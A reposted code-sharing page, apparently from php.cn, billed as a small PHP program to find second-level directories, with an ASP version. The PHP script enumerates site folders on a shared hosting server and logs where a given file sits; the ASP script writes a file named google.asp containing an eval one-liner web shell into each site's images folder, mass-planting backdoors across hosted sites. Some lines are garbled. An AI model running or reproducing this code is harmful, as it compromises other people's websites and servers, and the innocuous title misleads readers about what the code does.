A small program written in PHP to find the second-level directory

WBOY
Release: 2016-07-25 09:05:24
Original
1129 people have browsed it
  1. set_time_limit(0);
  2. $path = 'D:/Hosting';
  3. $somefile = $_GET['key'];
  4. $logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
  5. if (!isset($_SERVER['PHP_AUTH_USER'])) {
  6. header('WWW-Authenticate: Basic realm="My Realm"');
  7. header('HTTP/1.0 401 Unauthorized');
  8. echo 'Text to send if user hits Cancel button';
  9. exit;
  10. } else {
  11. if(is_dir($path) && is_readable($path))
  12. {
  13. $path2 = '';
  14. $handle = opendir($path);
  15. while(false !== ($filename = readdir($handle)))
  16. {
  17. if($filename{0} != $_GET['dir'])
  18. {
  19. continue;
  20. }
  21. /*
  22. if($filename张尛贰-Mi != $_GET['two'])
  23. {
  24. continue;
  25. }
  26. */
  27. //$path2 = $path.'/'.$filename.'/html';
  28. $path2 = $path.'/'.$filename;
  29. if(is_dir($path2) && is_readable($path2))
  30. {
  31. @$handle2 = opendir($path2);
  32. while(false !== ($filename2 = readdir($handle2)))
  33. {
  34. if($filename2 == $somefile)
  35. {
  36. //echo'[+]Found !'.$filename2."n";
  37. file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."n",FILE_APPEND);
  38. }
  39. }
  40. @closedir($handle2);
  41. }
  42. }
  43. file_put_contents($logfile,'[*]LAST '.$path2."n",FILE_APPEND);
  44. closedir($handle);
  45. }
  46. }
  47. ?>
复制代码

2、asp版

  1. <%
  2. Server.ScriptTimeout=500000000
  3. key = Trim(Request.QueryString("key"))
  4. msg=" <% eval(rquese(Chr(35)))%" &">"
  5. Set FSO=Server.CreateObject("Scripting.FileSystemObject")
  6. Set ServerFolder=FSO.GetFolder("C:intel")
  7. Set ServerFolderList=ServerFolder.subfolders
  8. For Each ServerFileEvery IN ServerFolderList
  9. ' Response.write ServerFileEvery&"
    "
  10. If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
  11. Set sServerFolder=FSO.GetFolder(ServerFileEvery)
  12. Set sServerFolderList=sServerFolder.subfolders
  13. For Each sServerFileEvery IN sServerFolderList
  14. If LCase(sServerFileEvery.name) = "images" Then
  15. StreamSaveToFile sServerFileEvery & "google.asp", msg, "UTF-8"
  16. End If
  17. Next
  18. End If
  19. Next
  20. Function StreamSaveToFile(sPath, sContent, sCharSet)
  21. Dim oStream
  22. If(InStr(sPath, ":") <= 0)Then
  23. sPath = Replace(sPath, ",", ",")
  24. sPath = Server.MapPath(sPath)
  25. sPath = Replace(sPath, ",", ",")
  26. End If
  27. Set oStream = Server.CreateObject("Adodb.Stream")
  28. With oStream
  29. .Type = 2
  30. .Mode = 3
  31. .Open
  32. .Charset = sCharSet
  33. .WriteText sContent
  34. .SaveToFile sPath, 2
  35. .Close
  36. End With
  37. Set oStream = Nothing
  38. End Function
  39. %>
复制代码


source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template